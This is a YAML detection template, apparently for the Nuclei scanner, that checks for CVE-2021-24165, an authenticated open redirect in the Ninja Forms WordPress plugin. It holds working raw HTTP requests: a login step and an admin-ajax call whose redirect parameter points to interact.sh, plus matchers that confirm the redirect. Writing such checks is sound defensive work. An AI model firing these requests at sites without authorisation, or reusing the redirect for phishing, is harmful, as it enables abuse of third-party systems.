id: CVE-2021-24165

info:
  name: Ninja Forms < 3.4.34 - Administrator Open Redirect
  author: dhiyaneshDk,daffainfo
  severity: medium
  description: |
    The wp_ajax_nf_oauth_connect AJAX action was vulnerable to open redirect due to the use of a user supplied redirect parameter and no protection in place.
  reference:
    - https://wpscan.com/vulnerability/6147acf5-e43f-47e6-ab56-c9c8be584818
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24165
    - https://www.wordfence.com/blog/2021/02/one-million-sites-affected-four-severe-vulnerabilities-patched-in-ninja-forms/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24165
    cwe-id: CWE-601
  tags: cve,cve2021,wordpress,redirect,wp-plugin,authenticated,wp,wpscan

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 302'
          - 'status_code_2 == 302'
          - "contains(all_headers_2, 'Location: https://interact.sh?client_id=1')"
        condition: and